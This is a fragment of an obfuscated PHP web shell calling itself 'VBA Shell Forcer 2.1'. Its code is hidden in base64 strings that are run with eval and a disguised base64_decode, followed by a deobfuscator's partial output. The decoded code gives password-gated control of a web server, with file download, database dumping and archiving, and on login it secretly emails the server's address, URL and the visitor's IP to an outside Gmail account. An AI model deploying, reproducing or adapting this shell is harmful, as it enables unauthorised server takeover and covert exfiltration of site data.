ApewoJCQkJZm9yZWFjaCgkZmlsZWxpc3QgYXMgJGZpbGVuYW1lKXsKCQkJCQlpZiAoaXNfZmlsZSgkZmlsZW5hbWUpKXsKCQkJCQkJJGZkID0gZm9wZW4gKCRmaWxlbmFtZSwgJ3InKTsKCQkJCQkJJGNvbnRlbnQgPSBAZnJlYWQgKCRmZCwgZmlsZXNpemUoJGZpbGVuYW1lKSk7CgkJCQkJCWZjbG9zZSAoJGZkKTsKCQkJCQkJaWYgKGlzX2FycmF5KCRkaXIpKSAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZmlsZW5hbWUpOwoJCQkJCQkkdGhpcyAtPiBhZGRGaWxlKCRjb250ZW50LCAkZmlsZW5hbWUpOwoJCQkJCX0KCQkJCX0KCQkJCSR0aGlzLT5vdXQgPSAkdGhpcyAtPiBmaWxlKCk7CgkJCQljaGRpcigkY3VyZGlyKTsKCQkJfQoJCQlyZXR1cm4gMTsKCQl9CgkJZWxzZSByZXR1cm4gMDsKCX0KCgkvLyBTaG93IGZpbGUgbGlzdAoJZnVuY3Rpb24gR2V0RmlsZUxpc3QoJGRpcil7CgkJc3RhdGljICRhOwoJCWlmIChpc19kaXIoJGRpcikpIHsKCQkJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsKCQkJCXdoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkJCWlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicpewoJCQkJCQkkZj0kZGlyIC4nLycuICRmaWxlOwoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOwoJCQkJCQkkYVtdPSRmOwoJCQkJCX0KCQkJCX0KCQkJCWNsb3NlZGlyKCRkaCk7CgkJCX0KCQl9CgkJcmV0dXJuICRhOwoJfQoKCXZhciAkZGF0YXNlYyAgICAgID0gYXJyYXkoKTsKCXZhciAkY3RybF9kaXIgICAgID0gYXJyYXkoKTsKCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsKCXZhciAkb2xkX29mZnNldCAgID0gMDsKCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgewoJCSR0aW1lYXJyYXkgPSAoJHVuaXh0aW1lID09IDApID8gZ2V0ZGF0ZSgpIDogZ2V0ZGF0ZSgkdW5peHRpbWUpOwoJCWlmICgkdGltZWFycmF5Wyd5ZWFyJ10gPCAxOTgwKSB7CgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7CgkJCSR0aW1lYXJyYXlbJ21vbiddICAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7CgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7CgkJCSR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA9IDA7CgkJCSR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7CgkJfSAvLyBlbmQgaWYKCQlyZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfAoJCQkJKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7Cgl9CgoJZnVuY3Rpb24gYWRkRmlsZSgkZGF0YSwgJG5hbWUsICR0aW1lID0gMCkgewoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7CgoJCSRkdGltZSA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7CgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQoJCQkJCS4gJ1x4JyAuICRkdGltZVs0XSAuICRkdGltZVs1XQoJCQkJCS4gJ1x4JyAuICRkdGltZVsyXSAuICRkdGltZVszXQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsKCQlldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOwoJCSRmcgk9ICJceDUwXHg0Ylx4MDNceDA0IjsKCQkkZnIJLj0gIlx4MTRceDAwIjsKCQkkZnIJLj0gIlx4MDBceDAwIjsKCQkkZnIJLj0gIlx4MDhceDAwIjsKCQkkZnIJLj0gJGhleGR0aW1lOwoKCQkkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7CgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsKCQkkemRhdGEgPSBnemNvbXByZXNzKCRkYXRhKTsKCQkkY19sZW4gPSBzdHJsZW4oJHpkYXRhKTsKCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7CgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkZnIgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGZyIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsKCQkkZnIgLj0gcGFjaygndicsIDApOwoJCSRmciAuPSAkbmFtZTsKCQkkZnIgLj0gJHpkYXRhOwoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7CgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOwoJCSRmciAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwoKCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7CgkJJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsKCgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgxNFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOwoJCSRjZHJlYyAuPSAiXHgwOFx4MDAiOwoJCSRjZHJlYyAuPSAkaGV4ZHRpbWU7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsKCQkkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CgkJJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOwoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwoJCSR0aGlzIC0+IG9sZF9vZmZzZXQgPSAkbmV3X29mZnNldDsKCQkkY2RyZWMgLj0gJG5hbWU7CgoJCSR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7Cgl9CgoJZnVuY3Rpb24gZmlsZSgpIHsKCQkkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOwoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwoJCXJldHVybiAkZGF0YSAuICRjdHJsZGlyIC4gJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4JcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gIlx4MDBceDAwIjsKCX0KfQoKLy8gRHVtcCBteXNxbApmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgewoJJHRhYmxlZHVtcCA9ICJEUk9QIFRBQkxFIElGIEVYSVNUUyAkdGFibGU7XG4iOwoJJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOwoKCSRmaXJzdGZpZWxkPTE7CgoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGZpZWxkcykpIHsKCQlpZiAoISRmaXJzdGZpZWxkKSB7CgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJfSBlbHNlIHsKCQkJJGZpcnN0ZmllbGQ9MDsKCQl9CgkJJHRhYmxlZHVtcCAuPSAiICAgJGZpZWxkW0ZpZWxkXSAkZmllbGRbVHlwZV0iOwoJCWlmICghZW1wdHkoJGZpZWxkWyJEZWZhdWx0Il0pKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsKCQl9CgkJaWYgKCRmaWVsZFsnTnVsbCddICE9ICJZRVMiKSB7CgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7CgkJfQoJCWlmICgkZmllbGRbJ0V4dHJhJ10gIT0gIiIpIHsKCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOwoJCX0KCX0KCWZyKCRmaWVsZHMpOwoKCSRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7Cgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgewoJCSRrbmFtZT0ka2V5WydLZXlfbmFtZSddOwoJCWlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7CgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7CgkJfQoJCWlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsKCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOwoJCX0KCQkkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsKCX0KCWZyKCRrZXlzKTsKCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgewoJCSR0YWJsZWR1bXAgLj0gIixcbiI7CgkJJGNvbG5hbWVzPWltcGxvZGUoJGNvbHVtbnMsIiwiKTsKCgkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsKCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOwoJCX0gZWxzZSB7CgkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsKCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOwoJCQl9CgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOwoJCX0KCX0KCgkkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7CglpZiAoJGZwKSB7CgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsKCX0gZWxzZSB7CgkJZWNobyAkdGFibGVkdW1wOwoJfQoKCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsKCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsKCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7CgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7CgoJCSRmaWVsZGNvdW50ZXI9LTE7CgkJJGZpcnN0ZmllbGQ9MTsKCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsKCQkJaWYgKCEkZmlyc3RmaWVsZCkgewoJCQkJJHRhYmxlZHVtcC49IiwgIjsKCQkJfSBlbHNlIHsKCQkJCSRmaXJzdGZpZWxkPTA7CgkJCX0KCgkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsKCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOwoJCQl9IGVsc2UgewoJCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7CgkJCX0KCQl9CgoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOwoKCQlpZiAoJGZwKSB7CgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7CgkJfSBlbHNlIHsKCQkJZWNobyAkdGFibGVkdW1wOwoJCX0KCX0KCWZyKCRyb3dzKTsKCWlmICgkZnApIHsKCQlmd3JpdGUoJGZwLCJcbiIpOwoJfSBlbHNlIHsKCQllY2hvICJcbiI7Cgl9Cn0KCmZ1bmN0aW9uIHVlKCRzdHIpewoJcmV0dXJuIHVybGVuY29kZSgkc3RyKTsKfQoKZnVuY3Rpb24gcCgkc3RyKXsKCWVjaG8gJHN0ci4iXG4iOwp9CgpmdW5jdGlvbiB0YmhlYWQoKSB7CglwKCc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4nKTsKfQpmdW5jdGlvbiB0YmZvb3QoKXsKCXAoJzwvdGFibGU+Jyk7Cn0KCmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1lLCR2YWx1ZT0nJyl7CglwKCI8aW5wdXQgaWQ9XCIkbmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7Cn0KCmZ1bmN0aW9uIG1ha2VpbnB1dCgkYXJnID0gYXJyYXkoKSl7CgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7CgkkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsKCSEkYXJnWyd0eXBlJ10gJiYgJGFyZ1sndHlwZSddID0gJ3RleHQnOwoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7CgkkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgewoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7Cgl9IGVsc2UgewoJCXAoIiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz4iKTsKCX0KfQoKZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7CglpZiAoJGFyZ1snb25jaGFuZ2UnXSkgewoJCSRvbmNoYW5nZSA9ICdvbmNoYW5nZT0iJy4kYXJnWydvbmNoYW5nZSddLiciJzsKCX0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXSA6ICcnOwoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPHA+Jyk7CglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsKCQlpZiAoaXNfYXJyYXkoJGFyZ1snb3B0aW9uJ10pKSB7CgkJCWZvcmVhY2ggKCRhcmdbJ29wdGlvbiddIGFzICRrZXk9PiR2YWx1ZSkgewoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsKCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJfSBlbHNlIHsKCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOwoJCQkJfQoJCQl9CgkJfQoJcCgiPC9zZWxlY3Q+Iik7CglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8L3A+Jyk7Cn0KZnVuY3Rpb24gZm9ybWhlYWQoJGFyZyA9IGFycmF5KCkpIHsKCSEkYXJnWydtZXRob2QnXSAmJiAkYXJnWydtZXRob2QnXSA9ICdwb3N0JzsKCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOwoJJGFyZ1sndGFyZ2V0J10gPSAkYXJnWyd0YXJnZXQnXSA/ICJ0YXJnZXQ9XCIkYXJnW3RhcmdldF1cIiIgOiAnJzsKCSEkYXJnWyduYW1lJ10gJiYgJGFyZ1snbmFtZSddID0gJ2Zvcm0xJzsKCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOwoJaWYgKCRhcmdbJ3RpdGxlJ10pIHsKCQlwKCc8aDI+Jy4kYXJnWyd0aXRsZSddLicgJnJhcXVvOzwvaDI+Jyk7Cgl9Cn0KCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsKCSEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOwoJISRhcmdbJ3Jvd3MnXSAmJiAkYXJnWydyb3dzJ10gPSAyNTsKCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOwoJcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsKfQoKZnVuY3Rpb24gZm9ybWZvb3RlcigkbmFtZSA9ICcnKXsKCSEkbmFtZSAmJiAkbmFtZSA9ICdzdWJtaXQnOwoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOwoJcCgnPC9mb3JtPicpOwp9CgpmdW5jdGlvbiBmb3JtZm9vdCgpewoJcCgnPC9mb3JtPicpOwp9CgovLyBFeGl0CmZ1bmN0aW9uIHByKCRhKSB7CgllY2hvICc8cHJlPic7CglwcmludF9yKCRhKTsKCWVjaG8gJzwvcHJlPic7Cn0=';\$b=strrev(\"46esab\").str_replace('f','','_fdefcodfe');eval(\$b(\$a));";
fclose($O000O0O00);
eval /* PHPDeobfuscator eval output */ {
$a = 'LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcCnwqICAgIFZCQSBTSEVMTCBGT1JDRVIgLSBWRVJTSU9OIDIuMQkqfAp8KiAgICAgRWRpdCAmIERldmVsb3AgYnkgVkJBVEVBTSAgICAgICAgKnwKfCogIAkgIGh0dHA6Ly92YmF0ZWFtLm5ldCAgICAJICAgICp8CnwqICAgID09ICBIYWNraW5nICYgU2VjdXJpdHkgID09ICAgICAgICAqfApcKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCmVycm9yX3JlcG9ydGluZyg3KTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKb2Jfc3RhcnQoKTsKJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsKJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsKZGVmaW5lKCdTQV9ST09UJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKF9fRklMRV9fKSkuJy8nKTsKLy9kZWZpbmUoJ0lTX1dJTicsIHN0cnN0cihQSFBfT1MsICdXSU4nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsKZGVmaW5lKCdJU19DT00nLCBjbGFzc19leGlzdHMoJ0NPTScpID8gMSA6IDAgKTsKZGVmaW5lKCdJU19HUEMnLCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKTsKJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmRlZmluZSgnSVNfUEhQSU5GTycsICghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gMSA6IDAgKTsKQHNldF90aW1lX2xpbWl0KDApOwoKZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7Cglmb3JlYWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgewoJCWlmICgkX2tleXswfSAhPSAnXycpIHsKCQkJaWYgKElTX0dQQykgewoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7CgkJCX0KCQkJJCRfa2V5ID0gJF92YWx1ZTsKCQl9Cgl9Cn0KCi8qPT09PT09PT09PT09PT09PT0gIEluZm8gTG9naW4gID09PT09PT09PT09PT09PT0qLwokYWRtaW4gPSBhcnJheSgpOwokYWRtaW5bJ2NoZWNrJ10gPSB0cnVlOwokYWRtaW5bJ3Bhc3MnXSAgPSAnMTAwMjkxMmIyNTE4ODdiNGZlMGU1ZmExZWZkYmZhMDYnOyAvLyBQYXNzd29yZCBsb2dpbgokYWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7CiRhZG1pblsnY29va2llZG9tYWluJ10gPSAnJzsKJGFkbWluWydjb29raWVwYXRoJ10gPSAnLyc7CiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7Ci8qPT09PT09PT09PT09PT09PT09PT09IEVuZCA9PT09PT09PT09PT09PT09PT09PT0qLwoKaWYgKCRjaGFyc2V0ID09ICd1dGY4JykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsKfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOwp9Cgokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1BIUF9TRUxGJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsKJHRpbWVzdGFtcCA9IHRpbWUoKTsKCi8qPT09PT09PT09PT09PT09PT09PT09IExvZ2luID09PT09PT09PT09PT09PT09PT09PSovCmlmICgkYWN0aW9uID09ICJsb2dvdXQiKSB7CglzY29va2llKCd2YmFwYXNzJywgJycsIC04NjQwMCAqIDM2NSk7CglwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO1VSTD0nLiRzZWxmLiciPicpOwoJcCgnPGJvZHkgYmFja2dyb3VuZD1ibGFjaz4nKTsKCWV4aXQ7Cn0KaWYoJGFkbWluWydjaGVjayddKSB7CglpZiAoJGRvaW5nID09ICdsb2dpbicpIHsKCQlpZiAoJGFkbWluWydwYXNzJ10gPT0gbWQ1KCRwYXNzd29yZCkpIHsKCQkJc2Nvb2tpZSgndmJhcGFzcycsIG1kNSgkcGFzc3dvcmQpKTsKCi8vIEZ1bmN0aW9uIG1haWwgU2VuZGVyIHRvIG15IEVtYWlsIC0gUGxlYXNlIHJlbW92ZSB0aGlzIGJlZm9yZSB5b3UgdXNpbmcgdGhpcyBzaGVsbCBjb2RlLCBUaGFua3MgLSBGZXJuYW5kbyAtIFZCQVRlYW0KJHRpbWVfc2hlbGwgPSAiIi5kYXRlKCJkL20vWSAtIEg6aTpzIikuIiI7CiRpcF9yZW1vdGUgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsKJGZyb21fc2hlbGxjb2RlID0gJ3NoZWxsQCcuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuJyc7CiR0b19lbWFpbCA9ICd4ZWRvcmFjQGdtYWlsLmNvbSc7CiRzZXJ2ZXJfbWFpbCA9ICIiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pLiIgIC0gIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7CiRsaW5rY3IgPSAiTGluazogIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4iIi4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iIC0gSVAgRXhjdXRpbmc6ICRpcF9yZW1vdGUgLSBUaW1lOiAkdGltZV9zaGVsbCI7CiRoZWFkZXIgPSAiRnJvbTogJGZyb21fc2hlbGxjb2RlXHJcblJlcGx5LXRvOiAkZnJvbV9zaGVsbGNvZGUiOwpAbWFpbCgkdG9fZW1haWwsICRzZXJ2ZXJfbWFpbCwgJGxpbmtjciwgJGhlYWRlcik7CgkJCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjI7VVJMPScuJHNlbGYuJyI+Jyk7CgkJCXAoJzxib2R5IGJnY29sb3I9YmxhY2s+CjxCUj48QlI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgY29sb3I9eWVsbG93IGZhY2U9dGFob21hIHNpemU9Mj5Db25uZWN0aW5nLi4uPEJSPjxpbWcgc3JjPWh0dHA6Ly90My5nc3RhdGljLmNvbS9pbWFnZXM/cT10Ym46QU5kOUdjUkZJUXk5b0xjOWpNV21EWV9OX3N4aldQeXVzVVdDNGlnd0sybHFCbTY4YURHY1NmS1BQQT48L2Rpdj4nKTsKCQkJZXhpdDsKCQl9CgoJZWxzZQoJewoJJGVycl9tZXNzID0gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jRjBGMEYwIHdpZHRoPTEwMCUgaGVpZ2h0PTI0PjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGNvbG9yPXJlZCBmYWNlPXRhaG9tYSBzaXplPTI+PGJsaW5rPlBhc3N3b3JkIGluY29ycmVjdCwgUGxlYXNlIHRyeSBhZ2FpbiEhITwvYmxpbms+PEJSPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4nOwplY2hvICRlcnJfbWVzczsKCX19CglpZiAoJF9DT09LSUVbJ3ZiYXBhc3MnXSkgewoJCWlmICgkX0NPT0tJRVsndmJhcGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7CgkJCWxvZ2lucGFnZSgpOwoJCX0KCX0gZWxzZSB7CgkJbG9naW5wYWdlKCk7Cgl9Cn0KLyo9PT09PT09PT09PT09PT09PT09PT0gTG9naW4gPT09PT09PT09PT09PT09PT09PT09Ki8KCiRlcnJtc2cgPSAnJzsKCmlmICgkYWN0aW9uID09ICdwaHBpbmZvJykgewoJaWYgKElTX1BIUElORk8pIHsKCQlwaHBpbmZvKCk7Cgl9IGVsc2UgewoJCSRlcnJtc2cgPSAncGhwaW5mbygpIGZ1bmN0aW9uIGhhcyBub24tcGVybWlzc2libGUnOwoJfQp9CgoKaWYgKCRkb2luZyA9PSAnZG93bmZpbGUnICYmICR0aGVmaWxlKSB7CglpZiAoIUBmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsKCQkkZXJybXNnID0gJ1RoZSBmaWxlIHlvdSB3YW50IERvd25sb2FkYWJsZSB3YXMgbm9uZXhpc3RlbnQnOwoJfSBlbHNlIHsKCQkkZmlsZWluZm8gPSBwYXRoaW5mbygkdGhlZmlsZSk7